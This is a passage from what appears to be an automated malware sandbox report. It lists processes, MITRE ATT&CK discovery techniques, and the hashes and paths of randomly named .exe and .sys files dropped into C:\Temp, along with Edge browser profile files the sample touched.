PID:5944

C:\Temp\vpnhfzxupm.sys
C:\Temp\vpnhfzxupm.sys
1⤵
PID:2476

C:\Temp\zurpnhfzxr.sys
C:\Temp\zurpnhfzxr.sys
1⤵
PID:1744

C:\Temp\cwupmhfzxr.sys
C:\Temp\cwupmhfzxr.sys
1⤵
PID:2172

C:\Temp\wromgebztr.sys
C:\Temp\wromgebztr.sys
1⤵
PID:4580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dywqoigayt.sys

Path C:\Temp\dywqoigayt.sys
Size 293KB
SHA256 3799e2fc7956ac4465bb6b306d9487577cae6414ab100e0e5ec4be33a60762c5
MD5 2e52d7aa35bc25680d6229c3f8795172
SHA1 28a762c166a4a013c3d4ea038723d1ecd3b4c2af
SHA512 9e37785d0c9988e42b10363b3f0f53351c90b0faeb8c4bb0fe4ad2a8c956118350f6786af6d03cb6bc8e00e09ac4fcb9964bb525a3bc687008bb99e00eeb4a3c
SSDEEP 3072:ltKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:lIJjiJcbI03GBc3ucY5DCSj
TLSH
T10F545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

geywqoigby.exe

Path C:\Temp\geywqoigby.exe
Size 384KB
SHA256 15fec78d487d56559989d19fbcb8b898fa444ccfe3c5c4bdcdcfc7a1e9a401bf
MD5 2a5f1d070c2ab490c4df34e8c5acdf78
SHA1 f45b2c4ef35724228f56d787da62a097f79d5728
SHA512 4a866b31db2028ba68b95fcf803b70e1be1e6542a0ee979b96af91031b41800eb2130fd5bbc940e88c2982f44c85f4fcff8b2509894b4a9a783bac8a85c1ede4
SSDEEP 3072:kjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:Ytf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1A3847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

geywrojgbz.exe

Path C:\Temp\geywrojgbz.exe
Size 384KB
SHA256 a66f5c0ab6d7116aac89a7c8790bf8d47760f80332c5527c0fc13e88d9179b65
MD5 c2ba66b4664683a103950fd51651aac2
SHA1 f02e6d1051a116d936da0978bcf006264b5abb3d
SHA512 90f3fa155f277f3008a73eb4835a37787754694a8740b9e9fa1a6ffaa92bfb320403a7a07d5bf5a9b04be33373b7073db9496408c2a2d5a26612198e6492b051
SSDEEP 3072:9jtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:ttf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T110847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hbzurpjhcz.sys

Path C:\Temp\hbzurpjhcz.sys
Size 293KB
SHA256 44b667b491c563bd3fdd2dd0946b0f78fa718c682b8999575a0ca6c7fa2cfc29
MD5 d898187d9a3a861389c62ceb2ff39e73
SHA1 60e301c1ee0ee5cb9084f4db30c2cb99998f0962
SHA512 e6563821000c44ddc7e5f4184f526985db5f52c0dcfac09d43153ff1a56e7625b541436f0388aaaeb82695ab9d7503a576728a76f3bd7fb9dcbefdab3687b0b5
SSDEEP 3072:1tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:1IJjiJcbI03GBc3ucY5DCSj
TLSH
T138545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_geywqoigby.exe

Path C:\Temp\i_geywqoigby.exe
Size 384KB
SHA256 937ffcdd10a7b71b7a6cdd54c1176cfa16bb409248322ada10c284a08ae2b449
MD5 2f8002d9abf7e638e96e4bdd73ca50fb
SHA1 36cec00e2ebcd53fc73b4f5b0cda4df573a9601d
SHA512 9884507d91a43082a2ab08e92ba9e683ed228e384258dd3b39ec30c6ce7755f8f3bb3f210f840ab43e1c9d06bcfb7ee33e4772586d3f075af625a910254d95dc
SSDEEP 3072:fjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:7tf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T10D847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_geywrojgbz.exe

Path C:\Temp\i_geywrojgbz.exe
Size 384KB
SHA256 39b732b12b12c2f4481612257f8c35cd53d6d46c6a4301b218af67057fff1a91
MD5 cdb913ce3d62f97e9f372ee50daafc2f
SHA1 287da015cb9c21c25ca9f35c9224d1b4b021b0d8
SHA512 321cfa0478b6afdeb470397664feac077e1dec436a567deeda012a652fe9483f470ded764a86af3896b2f157650f51227a2e29e2d0974112bcb982442fc443ef
SSDEEP 3072:yjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:itf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T15E847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_mkfzxsmkec.exe

Path C:\Temp\i_mkfzxsmkec.exe
Size 384KB
SHA256 aa6e899f1272f4da94e2c139be498d3532667e64039b8655b579623eb471f785
MD5 a4ffe1e93235dab422430f6b40b2c1aa
SHA1 d0816b64d5d7e1d0f3f413c196c15faef4f4a484
SHA512 575975cefa254108cee916765227e1e3f438a5b9de9d099a24400f21699d6322f6e5361e3fc7fbda43cf69982130ab38f5812ac49fe2da96327834a0c1fd26c9
SSDEEP 3072:tjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:9tf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1EE847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qkigaysqli.exe

Path C:\Temp\i_qkigaysqli.exe
Size 384KB
SHA256 582ce90b0996401e44b6fa96e011f5847d35a73959cf504c2f7ad629f838c7ac
MD5 bbc835bb6c56068cf8b8118710ea6d0d
SHA1 e0a5c1655218e0e10093efa64412e121b10306e7
SHA512 e3eb6906a0972013c71791ac374e4c168b5f2ecb69a89bfad2740d69481f93f57f4d31fdda9223eef902c994dccb837b8954ae9b4f3d541ebd83461d1a852985
SSDEEP 3072:sjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:Atf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T19E847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_trmjhbztro.exe

Path C:\Temp\i_trmjhbztro.exe
Size 384KB
SHA256 c5394d5fbb8acccb1a22006c2acfbb99cec422cea4257c410afa43b8bcf2ecca
MD5 fa82ef39402abac53d67a24eb695097f
SHA1 9d75efe31e7893bb102ce871fbc978fc94ae7347
SHA512 f8b517329025deb1bde6034021629111633cbab8ed7fd72f1182e42835dfe14f685a67d6a3e62a0d8ebc09a346c56366fab683178a42932e76e80695a83641fd
SSDEEP 3072:GjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:etf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T104847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ywqoigaytq.exe

Path C:\Temp\i_ywqoigaytq.exe
Size 384KB
SHA256 a8f08dab4c8df5ac98497f52d21c1a921fdc3f0fe33476acea979ace9af22249
MD5 4cb2f16d1d722d4c6637422d6f9f712c
SHA1 276987871e43df21acffa7706f2df0b4c8c60a99
SHA512 6f05288d1be4bbab893d12218769a11d71971489258a05550233dacd415a7c237eeb666ffee296058644e23202e41bcff126e9a070dfbe429a58491d8df8f5f9
SSDEEP 3072:JjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:Btf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T160847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jgbztrljdb.sys

Path C:\Temp\jgbztrljdb.sys
Size 293KB
SHA256 73e9f2b1bc5ad25aa7326edffb8cb4f625283304addc0d54004bafcc92099325
MD5 1bc2d18c2527b70045391ae03e458d46
SHA1 2e945d7f1661343cf63c8669f888f776208756e5
SHA512 78a7d597e98477439808b461439b7885bc6c503b7bbef9fa2f4720fd237a772f295fd12350bff4d39602fda69ab26b860a965bce933954e14f867b23003ba993
SSDEEP 3072:8tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:8IJjiJcbI03GBc3ucY5DCSj
TLSH
T15C545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kecwusmkecwupmhe.exe

Path C:\Temp\kecwusmkecwupmhe.exe
Size 384KB
SHA256 76aa93cbc0979dbd5428fb98a564b66917873087c92777043ff56c8ebcb04993
MD5 36aea827d0216a080d4f845c889c91b7
SHA1 f92756b894626f79e71c0b02db19c794ef19cc13
SHA512 79e9671ef4d184f7717d09a9f72b17d28e13021d9d5133c942e2e5ebd477d53f38d756733b639a98a3015866c99984e57bdd1cb57ce2435c67a3908fe4df8716
SSDEEP 3072:rjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:vtf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T149847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kecwusmkecwupmhe.sys

Path C:\Temp\kecwusmkecwupmhe.sys
Size 293KB
SHA256 e2fbda463f110f61967841acc973f0da9b70d4fea04207befb23a4c360468b37
MD5 e71416e924ee07f2a2800f39fdabeeaa
SHA1 514bec9c0542c122f198869a0bde7cc770be8ba7
SHA512 025abdd74585a3c6f1378ef2cb5b0b3608fcc3d9c4361f2fea366184c921fe5bce3e5048cd43917ca957db0bf72003f942ad141fd85d5a84b912017099d5646e
SSDEEP 3072:VtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:VIJjiJcbI03GBc3ucY5DCSj
TLSH
T126545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mjebwtrmje.sys

Path C:\Temp\mjebwtrmje.sys
Size 293KB
SHA256 5896b8c5ba1fdf332e7f4d5f90fe32360fdc743f35f94c2b6a59e293fa51dc23
MD5 6e1977d083c395ebc5bcf26445bf6eb6
SHA1 664beef83151ef90a6ed8a72ff9ef603bb3fd90f
SHA512 a7152909024a380aa336bc25ee9bd787f3121860612c13e25f4151cd53aa1020b7432c5b34f5dbda92f0029f5f369cbc6145aa9768c8a7d9bf46caa0a3ec6701
SSDEEP 3072:CtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:CIJjiJcbI03GBc3ucY5DCSj
TLSH
T123545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mkfzxsmkec.exe

Path C:\Temp\mkfzxsmkec.exe
Size 384KB
SHA256 f83be3dd01b742f3d4cc72ae842dd9c202ad497ed7105e7dd0f23992fb62f48b
MD5 eb00938c9ff30fb01a3d2b957669b971
SHA1 169d35b74cd80c8ba56e217bdc20495ede9048b5
SHA512 152454617d614a969730e21f1476ce84afa0da84feb84436da061be8065090787e528424c6cb8b919e57b74a8056516888dd69325339d0fae44e607dcbff24ac
SSDEEP 3072:njtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:jtf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1F2847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qkigaysqli.exe

Path C:\Temp\qkigaysqli.exe
Size 384KB
SHA256 f8af598ff5f51afd478ff69c3abe9be3a6ccf163da6b941628931dee0361cc2e
MD5 2a12490f0842885c35f158f56d41a2db
SHA1 15231f6cec7ca3c54c62a525e37707af9c41af76
SHA512 ac6b35d41936e7d7f4a9b5cf0551b146593a87dd7df22ba06bf41fb013312bcc676b0e58c19fc8c52f4ef95b7d82dc5d18265fcb47a34baa4fdc2d677208e846
SSDEEP 3072:NjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:dtf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1E2847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

trmjhbztro.exe

Path C:\Temp\trmjhbztro.exe
Size 384KB
SHA256 782ab87e796fc77324a088f73a8f0f2485a060a0b4cfdcd5c92bbd39e8b6b0b9
MD5 ffcb11a56ff4a5b3eafcca5c4bfc8657
SHA1 0652357455427a6ee704e7952b74b335dd5d6ed9
SHA512 61634bbce56ad34788f3cae5070d5bda542f26e8664adb5b35560404d5ae184778065f5d0d07c0dcbfab8ee636eca2cf9173a1473cee703116ae37235d09bebb
SSDEEP 3072:PjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:Ltf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T157847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywqoigaytq.exe

Path C:\Temp\ywqoigaytq.exe
Size 384KB
SHA256 14c912930488c6577c3f53e9e58b69908ddb77703ebbf6982be6779352012980
MD5 40498372c9d55b2a51c1ebabcdf3d4f9
SHA1 21763600c5ed64f71c9b769d9bc442d40372001a
SHA512 d300400875717638fda24cb381ec22f9efd8d248e7fb13a5d9ce2edb0cc20f5e6c8be3d4188c3f1bae7e63d259be5528188e45b05c6756f624007c4363bbe297
SSDEEP 3072:6jtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:qtf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T159847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ywqoigayvt.sys

Path C:\Temp\ywqoigayvt.sys
Size 293KB
SHA256 bea67f1754633d468c9b75d93e82b8447c1f1006af638a3f0afd7dac036c56a5
MD5 91168c9928664674bf8b0a0c10c82932
SHA1 c79498db310cf0b41961a8c1e0e36fdf5524a4a8
SHA512 466767884f159a8d1d644be34b05ccb1af78bf83ce3c7884eeb6728c076a62a87d3f3190bcadee7c9574d8a12dd8a4c460ad321a8a6374c336b924cb31f21818
SSDEEP 3072:xtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:xIJjiJcbI03GBc3ucY5DCSj
TLSH
T168545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e75f270f1371188bd7f350113eee1f4d141652add7af8e5f7af0ab47dac6d1f2
MD5 e0e7da4c84e8882b494037c575bd294c
SHA1 04d43c383ac5d232ee362aad151519414dc6db2b
SHA512 70d9ca23de3befb782d3d04a586490c626e7c63ad00fac39b0fd9adeae2c1d8413a5d2474e847fabb4f48bbf1384f1fcd10e67765d21ed94ac67795b274b3c2e
TLSH
T122D09294BB60A90CCC81B0322AE66355BA1598A1182D868900A5F07A9CA8AC246179AF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e35119268ad2455b6ec4314361db946ee09b095b28e62d25bbd7542d6be959b9
MD5 5c633da04aeb5bea485c08ea28f57d24
SHA1 1c5287022e764ef0bb6d895cd993be007ab68eba
SHA512 341697613439896bbdc5bae2e067bf2b52fd4ee959460166157f5fcf5f0647d000c9824a7394abad2ea244ee761164649972236a37dd919e413ac011474bb4b7
TLSH
T12DD09B947B50A50CCC41703229E5535579155461581D45450055F0799C646C246175BF
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 c644b40bec9196a3220094225bfbb8856a32b20771036db3aab74b3aba8f553c
MD5 1c50a81d709becc40ce79225e5429510
SHA1 a9fe63f8df4558f9779f2b5e216edd73c65eeed1
SHA512 a041d256b0331d8b16bacc7254c8dd0ac878bec1d1e083741969d6135cee93a58d00c2553bdef6778990a685e4a0b09625eb6e95923e5bd7b034973ae7f4dc57
TLSH
T1C651BD90A32511E9EF6042FE48F46A7673F881944A831E81F85A7DF83981F35D6F4A1F
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe596075.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe596075.TMP
Size 2KB
SHA256 405c0150bac86140b13fcb9b5f34663461bd23233968d3a8329eed602e84b50e
MD5 044d93d8665c284da33b3bf3962db9b7
SHA1 817a08baeff0b9d87847f3a1f5bfc951b2c58a47
SHA512 39da80a9ad53963cf0dba91ed6cb2e94982e6ee44dc976d1057626c8abd52cee8b2d07be6799b904e4fed1ed75beb9acd974624e15901328293178fd28ce4bf4
TLSH
T16A51CB90A32511E9EF6042FE48F42A7673F881944A831E81F85A7DF83981F35D6F4A1F
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 0a1d4cac0055920c93d39d27a6fd634086aaa11fa9c38f791abe56ed66a45803
MD5 d3b3206be2bc0d9eeca49b97267b73fc
SHA1 2c2e009bfa5d1415382a803a047a202324b8d271
SHA512 02971abff40fdf362a8f348dc652997f71c7c7aa55ad54afe3a5501b71dc20d5de3eff680a51cd8898fd235201c409bca87654ea6baa65d5f2c1e077cc52fac9
TLSH
T15251D0F3C3E8867D8A0156F4AB147E1BCE2D0914832C3C5AC9E4AF1BA7E2471E14199F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 f9da0ae5aa861a7301f18388620fab20c832eddb7c986c147b8866e6b331637d
MD5 fdb36d4915e109522c004be2b1f0fcae
SHA1 de86aba3e6e7da31e101c188c47e3bdef1645227
SHA512 c104254cea2e027659ed641f06a99c3850809051b863fb92b81a6164c1d0b109d28b1479f65baf45390f2e923f0e60a31b021d9e9abf1b6b44d608930186b388
SSDEEP 192:sxREwRDCVq/fEisGgNKrjDRLzoA8p9i/g6+WNCaA/YEriKfGskIgV0J:sxREwIVq/fEisGgNGqg/5w/ayI6
TLSH
T1E942C8166D289D3B9CCBD219BA65BF53E2F95023A1D51E48F6FC870C04E6ACD620781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 11acc924ed969d050fcd987e83d70d0f608b84dab29768e939449af65df9ee3c
MD5 ff441fb76daf65ba4c6e84e517bd05b3
SHA1 8e947f178fb225027972d00bfe4f0d576fdae4c7
SHA512 e03366fe876967f5a5ab52283725cf02571b455f4d88b4e3a7745bc2aee24c39dd4eab021d32c9078bc5bbe6f4ca4caf5682f651929802297318f9a364e94fde
SSDEEP 192:sxRjwRDCVq/fEisfgNKrjDRLzoA8p9i/g6+WNCaA/YEriKfGskIgD70J:sxRjwIVq/fEisfgNGqg/5w/ayIA
TLSH
T1E842C71A6D289D7B5CCBD219BB65BF53E2F95022A1D11E48B6FC870C04E6ACD620781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 44135c3bbd00b7e1fa22081509cf2b88d89a5e64b572fa4b3835d90872fd37d3
MD5 86a40916eaa56637803e6a4fb9e68f74
SHA1 a33fffd2a759c2d869fef44803fab8858ae0b3cf
SHA512 f6b007c4b772a6226d47d31a40f070f95a751f3f6c4b9f3d6bc6e28c5f46053de6a9da1858ed3437212845641b82d622fe775af70cbb61b92c86e6e967dfb748
SSDEEP 192:sxRjwRDCVq/fEisfg+KrjDRLzoA8p9i/g6+WNCaA/YEKiKfGskIgDJ0J:sxRjwIVq/fEisfg+Gqg/5w/HyIC
TLSH
T10642C71A6D289D7B5CCBD219BA65BF53E2F95022A1D11E48A7FC870C04E7ACD620781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 bfb12e9c94deaf0220b762b9708b1ab867c0372692bee7ad05e5ca161118281f
MD5 d1470bba262be81f1cd655ea00b2e567
SHA1 34815e1de26d6ab27f795ac3a043dbd2809bd1dd
SHA512 977389d6c942119e1c1fd487066a56c45416b7776d7d8bd4a30526e4aaf6be5e544d40c7d6fb6e478f0d3e62ac11714de605cb30b4781aaea637907fc0cff55d
SSDEEP 768:0UQizrW7pLuL7PaWgH7feQ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVwOVq3rof6xc:0UQizr2E7PaWgH7feQu1jaNIqkWc
TLSH
T1E8C2EB7B640CCB7F4F804ADDEC297E9B6DA802CB5698CD8047FA951C03C7BEA51154DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f9da618b-8645-4867-b20b-fdfc412d2244.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\f9da618b-8645-4867-b20b-fdfc412d2244.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 d7889ad9d166f42284159dbfd92b171797fa11fce78f5883fc2c8112de9c155a
MD5 54ae6e559727fa11663c998827491e96
SHA1 b0ad61486c94442fae624eedcef9910dde91295f
SHA512 bd9c3ff6f9e5f37483e9f91a3d62dac697adef1e68a9e62a82b856bf93d4b77d156ef8b7fd8c835c14820d245c2425dba8f911534b1ca970e66db8fdccb707d4
SSDEEP 768:n+3MqGm29DLtmnK48dHeByERRFzjK3Ynb9MG:n+3lGd/48dHSyw/tb+G
TLSH
T196F2BEB0AC645DB38CABD24A76937797AEE0417395D85B58D1DDAF0E048359C0B0BC2E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 855201fa648df59b7c2698eec9519e8a990f5c41d87061ee8bae0645908bc45f
MD5 37ed801b393061c8b09a4a46969628a2
SHA1 ee42e2b21f29acf57fcd3662d2a55ed82e6a7e2e
SHA512 c55389eeee0c6d64e87c858cbf2e084288d2ed1b454327f1582afe82a951a1b18d10954052dd584c555a65d29fd298db783954512a49aef430af78ab995a2d99
SSDEEP 768:Qrv+4UNbdf3SqGfrDLtgK48dHeByERRFzjK3YeeVH1SCj:QbsbJ3DG3X48dHSyw/MEH1Z
TLSH
T18F03CF71A8A85E734CE792897683BA17BFF4411386C41BA4C5DD6F4E868B4DC130BD2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 5b8da033c53e7d23a71a0be0ba77f55fc32869d0cde41ca187fb220688c9a502
MD5 2b2f793669ae0c2da0ceb77bf7af1948
SHA1 6e0f30ec80926fd9b5b58de6d74eea93c8b83120
SHA512 fb2dc018fe65ba405678d9605c8fed4a74fea2f35c353491a0c39f3467be3953b63f69aca0600b50b28e3ef5e3391070bdc6bf61f5b1fd5e25ec6e0f7e7d39d7
SSDEEP 768:L+33qG129DLtmnK48dHeByERRFzjK3Ynb9MG:L+3aGa/48dHSyw/tb+G
TLSH
T17EF2BEB0AC645DB38CABE24A76937797AEF0416385D85B58D1DDEF0E448359C0B0BC2E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 1f37806a92611bd84808a0123cfb22169ce088de365b08246ed3b7413aa6d980
MD5 ce99fe338f04adce2a3dd7c3f5732ed6
SHA1 935041d78982b8c01662e1b009d0ecfdde53f01a
SHA512 3b0c0588d0cc0be56a13e742eebf71eb5422d30fc29b493c10bd9ad6cc10d9ac52075ad309452f1107066b2dfa51ab91f53c147bcfba78102f6ed547474b58c9
